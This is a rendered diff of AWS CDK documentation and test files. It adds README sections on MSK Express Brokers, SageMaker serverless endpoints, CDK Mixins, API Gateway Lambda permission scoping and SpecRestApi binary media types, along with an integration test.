kafkaVersion: msk.KafkaVersion.V4_1_X_KRAFT,
|
|
190
190
|
vpc,
|
|
191
191
|
logging: {
|
|
192
192
|
s3: {
|
|
@@ -226,12 +226,42 @@ declare const bucket: s3.IBucket;
|
|
|
226
226
|
|
|
227
227
|
const cluster = new msk.Cluster(this, 'cluster', {
|
|
228
228
|
clusterName: 'myCluster',
|
|
229
|
-
kafkaVersion: msk.KafkaVersion.
|
|
229
|
+
kafkaVersion: msk.KafkaVersion.V4_1_X_KRAFT,
|
|
230
230
|
vpc,
|
|
231
231
|
storageMode: msk.StorageMode.TIERED,
|
|
232
232
|
});
|
|
233
233
|
```
|
|
234
234
|
|
|
235
|
+
## MSK Express Brokers
|
|
236
|
+
|
|
237
|
+
You can create an MSK cluster with Express Brokers by setting the `brokerType` property to `BrokerType.EXPRESS`. Express Brokers are a low-cost option for development, testing, and workloads that don't require the high availability guarantees of standard MSK cluster.
|
|
238
|
+
For more information, see [Amazon MSK Express Brokers](https://docs.aws.amazon.com/msk/latest/developerguide/msk-broker-types-express.html).
|
|
239
|
+
|
|
240
|
+
**Note:** When using Express Brokers, the following constraints apply:
|
|
241
|
+
|
|
242
|
+
- Apache Kafka version must be 3.6.x or 3.8.x
|
|
243
|
+
- You must specify the `instanceType`
|
|
244
|
+
- The VPC must have at least 3 subnets (across 3 AZs)
|
|
245
|
+
- `ebsStorageInfo` is not supported
|
|
246
|
+
- `storageMode` is not supported
|
|
247
|
+
- `logging` is not supported
|
|
248
|
+
- Supported broker sizes: `m7g.xlarge`, `m7g.2xlarge`, `m7g.4xlarge`, `m7g.8xlarge`, `m7g.12xlarge`, `m7g.16xlarge`
|
|
249
|
+
|
|
250
|
+
```ts
|
|
251
|
+
declare const vpc: ec2.Vpc;
|
|
252
|
+
|
|
253
|
+
const expressCluster = new msk.Cluster(this, 'ExpressCluster', {
|
|
254
|
+
clusterName: 'MyExpressCluster',
|
|
255
|
+
kafkaVersion: msk.KafkaVersion.V3_8_X,
|
|
256
|
+
vpc,
|
|
257
|
+
brokerType: msk.BrokerType.EXPRESS,
|
|
258
|
+
instanceType: ec2.InstanceType.of(
|
|
259
|
+
ec2.InstanceClass.M7G,
|
|
260
|
+
ec2.InstanceSize.XLARGE,
|
|
261
|
+
),
|
|
262
|
+
});
|
|
263
|
+
```
|
|
264
|
+
|
|
235
265
|
## MSK Serverless
|
|
236
266
|
|
|
237
267
|
You can also use MSK Serverless by using `ServerlessCluster` class.
|
|
@@ -214,6 +214,38 @@ const endpointConfig = new sagemaker.EndpointConfig(this, 'EndpointConfig', {
|
|
|
214
214
|
});
|
|
215
215
|
```
|
|
216
216
|
|
|
217
|
+
### Serverless Inference
|
|
218
|
+
|
|
219
|
+
Amazon SageMaker Serverless Inference is a purpose-built inference option that makes it easy for you to deploy and scale ML models. Serverless endpoints automatically launch compute resources and scale them in and out depending on traffic, eliminating the need to choose instance types or manage scaling policies. For more information, see [SageMaker Serverless Inference](https://docs.aws.amazon.com/sagemaker/latest/dg/serverless-endpoints.html).
|
|
220
|
+
|
|
221
|
+
To create a serverless endpoint configuration, use the `serverlessProductionVariant` property:
|
|
222
|
+
|
|
223
|
+
```typescript
|
|
224
|
+
import * as sagemaker from '@aws-cdk/aws-sagemaker-alpha';
|
|
225
|
+
|
|
226
|
+
declare const model: sagemaker.Model;
|
|
227
|
+
|
|
228
|
+
const endpointConfig = new sagemaker.EndpointConfig(this, 'ServerlessEndpointConfig', {
|
|
229
|
+
serverlessProductionVariant: {
|
|
230
|
+
model: model,
|
|
231
|
+
variantName: 'serverlessVariant',
|
|
232
|
+
maxConcurrency: 10,
|
|
233
|
+
memorySizeInMB: 2048,
|
|
234
|
+
provisionedConcurrency: 5, // optional
|
|
235
|
+
},
|
|
236
|
+
});
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
Serverless inference is ideal for workloads with intermittent or unpredictable traffic patterns. You can configure:
|
|
240
|
+
|
|
241
|
+
- `maxConcurrency`: Maximum concurrent invocations (1-200)
|
|
242
|
+
- `memorySizeInMB`: Memory allocation in 1GB increments (1024, 2048, 3072, 4096, 5120, or 6144 MB)
|
|
243
|
+
- `provisionedConcurrency`: Optional pre-warmed capacity to reduce cold starts
|
|
244
|
+
|
|
245
|
+
**Note**: Provisioned concurrency incurs charges even when the endpoint is not processing requests. Use it only when you need to minimize cold start latency.
|
|
246
|
+
|
|
247
|
+
You cannot mix serverless and instance-based variants in the same endpoint configuration.
|
|
248
|
+
|
|
217
249
|
### Endpoint
|
|
218
250
|
|
|
219
251
|
When you create an endpoint from an `EndpointConfig`, Amazon SageMaker launches the ML compute
|
|
@@ -0,0 +1,182 @@
|
|
|
1
|
+
# CDK Mixins (Preview)
|
|
2
|
+
<!--BEGIN STABILITY BANNER-->
|
|
3
|
+
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+

|
|
7
|
+
|
|
8
|
+
> The APIs of higher level constructs in this module are experimental and under active development.
|
|
9
|
+
> They are subject to non-backward compatible changes or removal in any future version. These are
|
|
10
|
+
> not subject to the [Semantic Versioning](https://semver.org/) model and breaking changes will be
|
|
11
|
+
> announced in the release notes. This means that while you may use them, you may need to update
|
|
12
|
+
> your source code when upgrading to a newer version of this package.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
<!--END STABILITY BANNER-->
|
|
17
|
+
|
|
18
|
+
CDK Mixins provide a new, advanced way to add functionality through composable abstractions.
|
|
19
|
+
Unlike traditional L2 constructs that bundle all features together, Mixins allow you to pick and choose exactly the capabilities you need for constructs.
|
|
20
|
+
|
|
21
|
+
## Key Benefits
|
|
22
|
+
|
|
23
|
+
* **Universal Compatibility**: Apply the same abstractions to L1 constructs, L2 constructs, or custom constructs
|
|
24
|
+
* **Composable Design**: Mix and match features without being locked into specific implementations
|
|
25
|
+
* **Cross-Service Abstractions**: Use common patterns like encryption across different AWS services
|
|
26
|
+
* **Escape Hatch Freedom**: Customize resources in a safe, typed way while keeping the abstractions you want
|
|
27
|
+
|
|
28
|
+
## Basic Usage
|
|
29
|
+
|
|
30
|
+
Mixins use `Mixins.of()` as the fundamental API for applying abstractions to constructs:
|
|
31
|
+
|
|
32
|
+
```typescript
|
|
33
|
+
// Base form: apply mixins to any construct
|
|
34
|
+
const bucket = new s3.CfnBucket(scope, "MyBucket");
|
|
35
|
+
Mixins.of(bucket)
|
|
36
|
+
.apply(new EncryptionAtRest())
|
|
37
|
+
.apply(new AutoDeleteObjects());
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### Fluent Syntax with `.with()`
|
|
41
|
+
|
|
42
|
+
For convenience, you can use the `.with()` method for a more fluent syntax:
|
|
43
|
+
|
|
44
|
+
```typescript
|
|
45
|
+
import '@aws-cdk/mixins-preview/with';
|
|
46
|
+
|
|
47
|
+
const bucket = new s3.CfnBucket(scope, "MyBucket")
|
|
48
|
+
.with(new EnableVersioning())
|
|
49
|
+
.with(new AutoDeleteObjects());
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
The `.with()` method is available after importing `@aws-cdk/mixins-preview/with`, which augments all constructs with this method. It provides the same functionality as `Mixins.of().apply()` but with a more chainable API.
|
|
53
|
+
|
|
54
|
+
> **Note**: The `.with()` fluent syntax is only available in JavaScript and TypeScript. Other jsii languages (Python, Java, C#, and Go) should use the `Mixins.of(...).mustApply()` syntax instead. The import requirement is temporary during the preview phase. Once the API is stable, the `.with()` method will be available by default on all constructs and in all languages.
|
|
55
|
+
|
|
56
|
+
## Creating Custom Mixins
|
|
57
|
+
|
|
58
|
+
Mixins are simple classes that implement the `IMixin` interface:
|
|
59
|
+
|
|
60
|
+
```typescript
|
|
61
|
+
// Simple mixin that enables versioning
|
|
62
|
+
class CustomVersioningMixin implements IMixin {
|
|
63
|
+
supports(construct: any): boolean {
|
|
64
|
+
return construct instanceof s3.CfnBucket;
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
applyTo(bucket: any): any {
|
|
68
|
+
bucket.versioningConfiguration = {
|
|
69
|
+
status: "Enabled"
|
|
70
|
+
};
|
|
71
|
+
return bucket;
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
// Usage
|
|
76
|
+
const bucket = new s3.CfnBucket(scope, "MyBucket");
|
|
77
|
+
Mixins.of(bucket).apply(new CustomVersioningMixin());
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
## Construct Selection
|
|
81
|
+
|
|
82
|
+
Mixins operate on construct trees and can be applied selectively:
|
|
83
|
+
|
|
84
|
+
```typescript
|
|
85
|
+
// Apply to all constructs in a scope
|
|
86
|
+
Mixins.of(scope).apply(new EncryptionAtRest());
|
|
87
|
+
|
|
88
|
+
// Apply to specific resource types
|
|
89
|
+
Mixins.of(scope, ConstructSelector.resourcesOfType(s3.CfnBucket))
|
|
90
|
+
.apply(new EncryptionAtRest());
|
|
91
|
+
|
|
92
|
+
// Apply to constructs matching a pattern
|
|
93
|
+
Mixins.of(scope, ConstructSelector.byId(/.*-prod-.*/))
|
|
94
|
+
.apply(new ProductionSecurityMixin());
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
## Built-in Mixins
|
|
98
|
+
|
|
99
|
+
### Cross-Service Mixins
|
|
100
|
+
|
|
101
|
+
**EncryptionAtRest**: Applies encryption to supported AWS resources
|
|
102
|
+
|
|
103
|
+
```typescript
|
|
104
|
+
// Works across different resource types
|
|
105
|
+
const bucket = new s3.CfnBucket(scope, "Bucket");
|
|
106
|
+
Mixins.of(bucket).apply(new EncryptionAtRest());
|
|
107
|
+
|
|
108
|
+
const logGroup = new logs.CfnLogGroup(scope, "LogGroup");
|
|
109
|
+
Mixins.of(logGroup).apply(new EncryptionAtRest());
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
### S3-Specific Mixins
|
|
113
|
+
|
|
114
|
+
**AutoDeleteObjects**: Configures automatic object deletion for S3 buckets
|
|
115
|
+
|
|
116
|
+
```typescript
|
|
117
|
+
const bucket = new s3.CfnBucket(scope, "Bucket");
|
|
118
|
+
Mixins.of(bucket).apply(new AutoDeleteObjects());
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
**EnableVersioning**: Enables versioning on S3 buckets
|
|
122
|
+
|
|
123
|
+
```typescript
|
|
124
|
+
const bucket = new s3.CfnBucket(scope, "Bucket");
|
|
125
|
+
Mixins.of(bucket).apply(new EnableVersioning());
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
### L1 Property Mixins
|
|
129
|
+
|
|
130
|
+
For every CloudFormation resource, CDK Mixins automatically generates type-safe property mixins. These allow you to apply L1 properties with full TypeScript support:
|
|
131
|
+
|
|
132
|
+
```typescript
|
|
133
|
+
import '@aws-cdk/mixins-preview/with';
|
|
134
|
+
import { CfnBucketPropsMixin } from '@aws-cdk/mixins-preview/aws-s3/mixins';
|
|
135
|
+
|
|
136
|
+
const bucket = new s3.Bucket(scope, "Bucket")
|
|
137
|
+
.with(new CfnBucketPropsMixin({
|
|
138
|
+
versioningConfiguration: { status: "Enabled" },
|
|
139
|
+
publicAccessBlockConfiguration: {
|
|
140
|
+
blockPublicAcls: true,
|
|
141
|
+
blockPublicPolicy: true
|
|
142
|
+
}
|
|
143
|
+
}));
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
Property mixins support two merge strategies:
|
|
147
|
+
|
|
148
|
+
```typescript
|
|
149
|
+
// MERGE (default): Deep merges properties with existing values
|
|
150
|
+
Mixins.of(bucket).apply(new CfnBucketPropsMixin(
|
|
151
|
+
{ versioningConfiguration: { status: "Enabled" } },
|
|
152
|
+
{ strategy: PropertyMergeStrategy.MERGE }
|
|
153
|
+
));
|
|
154
|
+
|
|
155
|
+
// OVERWRITE: Replaces existing property values
|
|
156
|
+
Mixins.of(bucket).apply(new CfnBucketPropsMixin(
|
|
157
|
+
{ versioningConfiguration: { status: "Enabled" } },
|
|
158
|
+
{ strategy: PropertyMergeStrategy.OVERWRITE }
|
|
159
|
+
));
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
Property mixins are available for all AWS services:
|
|
163
|
+
|
|
164
|
+
```typescript
|
|
165
|
+
import { CfnLogGroupMixin } from '@aws-cdk/mixins-preview/aws-logs/mixins';
|
|
166
|
+
import { CfnFunctionMixin } from '@aws-cdk/mixins-preview/aws-lambda/mixins';
|
|
167
|
+
import { CfnTableMixin } from '@aws-cdk/mixins-preview/aws-dynamodb/mixins';
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
## Error Handling
|
|
171
|
+
|
|
172
|
+
Mixins provide comprehensive error handling:
|
|
173
|
+
|
|
174
|
+
```typescript
|
|
175
|
+
// Graceful handling of unsupported constructs
|
|
176
|
+
Mixins.of(scope)
|
|
177
|
+
.apply(new EncryptionAtRest()); // Skips unsupported constructs
|
|
178
|
+
|
|
179
|
+
// Strict application that requires all constructs to match
|
|
180
|
+
Mixins.of(scope)
|
|
181
|
+
.mustApply(new EncryptionAtRest()); // Throws if no constructs support the mixin
|
|
182
|
+
```
|
|
@@ -480,6 +480,8 @@ CloudFormation to re-read the secret.
|
|
|
480
480
|
`SecretValue.ssmSecure()` is only supported for a limited set of resources.
|
|
481
481
|
[Click here for a list of supported resources and properties](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/dynamic-references.html#template-parameters-dynamic-patterns-resources).
|
|
482
482
|
|
|
483
|
+
`SecretValue.cfnDynamicReferenceKey` takes the same parameters as `SecretValue.secretsManager` and returns a key which can be used within a [dynamic reference](#dynamic-references) to dynamically load a secret from AWS Secrets Manager.
|
|
484
|
+
|
|
483
485
|
## ARN manipulation
|
|
484
486
|
|
|
485
487
|
Sometimes you will need to put together or pick apart Amazon Resource Names
|
|
@@ -334,6 +334,31 @@ const getMessageIntegration = new apigateway.AwsIntegration({
|
|
|
334
334
|
});
|
|
335
335
|
```
|
|
336
336
|
|
|
337
|
+
### Lambda Integration Permissions
|
|
338
|
+
|
|
339
|
+
By default, creating a `LambdaIntegration` will add a permission for API Gateway to invoke your AWS Lambda function, scoped to the specific method which uses the integration.
|
|
340
|
+
|
|
341
|
+
If you reuse the same AWS Lambda function for many integrations, the AWS Lambda permission policy size can be exceeded by adding a separate policy statement for each method which invokes the AWS Lambda function. To avoid this, you can opt to scope permissions to any method on the API by setting `scopePermissionToMethod` to `false`, and this will ensure only a single policy statement is added to the AWS Lambda permission policy.
|
|
342
|
+
|
|
343
|
+
```ts
|
|
344
|
+
declare const book: apigateway.Resource;
|
|
345
|
+
declare const backend: lambda.Function;
|
|
346
|
+
|
|
347
|
+
const getBookIntegration = new apigateway.LambdaIntegration(backend, {
|
|
348
|
+
scopePermissionToMethod: false,
|
|
349
|
+
});
|
|
350
|
+
const createBookIntegration = new apigateway.LambdaIntegration(backend, {
|
|
351
|
+
scopePermissionToMethod: false,
|
|
352
|
+
});
|
|
353
|
+
|
|
354
|
+
book.addMethod('GET', getBookIntegration);
|
|
355
|
+
book.addMethod('POST', createBookIntegration);
|
|
356
|
+
```
|
|
357
|
+
|
|
358
|
+
In the above example, a single permission is added, shared by both `getBookIntegration` and `createBookIntegration`.
|
|
359
|
+
|
|
360
|
+
Note that setting `scopePermissionToMethod` to `false` will always allow test invocations, no matter the value specified for `allowTestInvoke`.
|
|
361
|
+
|
|
337
362
|
## Usage Plan & API Keys
|
|
338
363
|
|
|
339
364
|
A usage plan specifies who can access one or more deployed API stages and methods, and the rate at which they can be
|
|
@@ -1652,6 +1677,15 @@ const api = new apigateway.SpecRestApi(this, 'books-api', {
|
|
|
1652
1677
|
});
|
|
1653
1678
|
```
|
|
1654
1679
|
|
|
1680
|
+
`SpecRestApi` also supports binary media types, similar to `RestApi`:
|
|
1681
|
+
|
|
1682
|
+
```ts
|
|
1683
|
+
const api = new apigateway.SpecRestApi(this, 'books-api', {
|
|
1684
|
+
apiDefinition: apigateway.ApiDefinition.fromAsset('path-to-file.json'),
|
|
1685
|
+
binaryMediaTypes: ['image/png', 'application/pdf']
|
|
1686
|
+
});
|
|
1687
|
+
```
|
|
1688
|
+
|
|
1655
1689
|
### Endpoint configuration
|
|
1656
1690
|
|
|
1657
1691
|
By default, `SpecRestApi` will create an edge optimized endpoint.
|
|
@@ -42,7 +42,7 @@ const sendResource = root.addResource('InitiateAction');
|
|
|
42
42
|
const myfunc = new lambda.Function(stack, 'lambda-s3', {
|
|
43
43
|
code: lambda.AssetCode.fromAsset(path.join(__dirname, 'assets')),
|
|
44
44
|
handler: 'index.handler',
|
|
45
|
-
runtime: lambda.Runtime.
|
|
45
|
+
runtime: lambda.Runtime.NODEJS_20_X,
|
|
46
46
|
});
|
|
47
47
|
|
|
48
48
|
const sendLambdaIntegration = new agw.LambdaIntegration(myfunc);
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
import { Code, Function, Runtime } from 'aws-cdk-lib/aws-lambda';
|
|
2
|
+
import { App, Stack } from 'aws-cdk-lib';
|
|
3
|
+
import { ExpectedResult, IntegTest } from '@aws-cdk/integ-tests-alpha';
|
|
4
|
+
import { Construct } from 'constructs';
|
|
5
|
+
import { LambdaIntegration, RestApi } from 'aws-cdk-lib/aws-apigateway';
|
|
6
|
+
|
|
7
|
+
class LambdaPermissionConsolidationStack extends Stack {
|
|
8
|
+
public readonly api: RestApi;
|
|
9
|
+
constructor(scope: Construct) {
|
|
10
|
+
super(scope, 'LambdaPermissionConsolidationStack');
|
|
11
|
+
|
|
12
|
+
const fn = new Function(this, 'Handler', {
|
|
13
|
+
code: Code.fromInline(`exports.handler = async function(event) {
|
|
14
|
+
return {
|
|
15
|
+
body: JSON.stringify({
|
|
16
|
+
message: 'Hello from ' + event.httpMethod,
|
|
17
|
+
}),
|
|
18
|
+
statusCode: 200,
|
|
19
|
+
headers: { 'Content-Type': 'application/json' }
|
|
20
|
+
};
|
|
21
|
+
}`),
|
|
22
|
+
runtime: Runtime.NODEJS_18_X,
|
|
23
|
+
handler: 'index.handler',
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
this.api = new RestApi(this, 'Api', {
|
|
27
|
+
cloudWatchRole: true,
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
const methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'HEAD'];
|
|
31
|
+
methods.forEach(method => {
|
|
32
|
+
this.api.root.addMethod(method, new LambdaIntegration(fn, {
|
|
33
|
+
scopePermissionToMethod: false,
|
|
34
|
+
}));
|
|
35
|
+
});
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
const app = new App({
|
|
40
|
+
postCliContext: {
|
|
41
|
+
'@aws-cdk/aws-lambda:useCdkManagedLogGroup': false,
|
|
42
|
+
},
|
|
43
|
+
});
|
|
44
|
+
const testCase = new LambdaPermissionConsolidationStack(app);
|
|
45
|
+
const integ = new IntegTest(app, 'lambda-permission-consolidation', {
|
|
46
|
+
testCases: [testCase],
|
|
47
|
+
});
|
|
48
|
+
|
|
49
|
+
// Test that all methods work after consolidation
|
|
50
|
+
const call = integ.assertions.httpApiCall(testCase.api.deploymentStage.urlForPath('/'), {
|
|
51
|
+
method: 'GET',
|
|
52
|
+
});
|
|
53
|
+
call.expect(ExpectedResult.objectLike({
|
|
54
|
+
body: { message: 'Hello from GET' },
|
|
55
|
+
}));
|
cdk_api_mcp_server/resources/aws-cdk/constructs/aws-cdk-lib/aws-apigateway/integ.spec-restapi.ts
CHANGED
|
@@ -14,6 +14,7 @@ class Test extends cdk.Stack {
|
|
|
14
14
|
apiDefinition: apigateway.ApiDefinition.fromAsset(path.join(__dirname, 'sample-definition.yaml')),
|
|
15
15
|
disableExecuteApiEndpoint: true,
|
|
16
16
|
minCompressionSize: Size.bytes(1024),
|
|
17
|
+
binaryMediaTypes: ['image/png', 'application/pdf'],
|
|
17
18
|
retainDeployments: true,
|
|
18
19
|
cloudWatchRole: true,
|
|
19
20
|
deployOptions: {
|